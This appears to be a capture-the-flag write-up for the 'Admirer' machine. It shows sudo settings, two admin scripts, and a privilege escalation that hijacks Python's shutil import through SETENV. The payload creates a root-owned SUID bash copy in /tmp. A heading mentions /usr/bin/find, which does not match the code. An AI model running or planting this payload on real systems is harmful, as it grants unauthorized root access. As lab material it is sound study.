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waldo@admirer:~$ sudo -l
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

robots.txt

backup.py

#!/usr/bin/python3
from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
# dst = '/srv/ftp/html'
dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

admin_tasks.sh

#!/bin/bash

view_uptime() {
    /usr/bin/uptime -p
}

view_users() {
    /usr/bin/w
}

view_crontab() {
    /usr/bin/crontab -l
}

backup_passwd() {
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow() {
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web() {
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db() {
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac
    exit 0
fi

# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done
exit 0

Privilege Escalation to root

So we can set envvars (SENTENV) and backup.py is importing make_archive from shutil.

1. create a shutil.py

2. define new definition for make_archive function

3. execute it.

Exploitation by adding SUID bit to /usr/bin/find

import os

def make_archive(a, b, c):
    pass

os.system('cp /bin/bash /tmp/kashz_bash; chown root:root /tmp/kashz_bash; chmod 4755 /tmp/kashz_bash')

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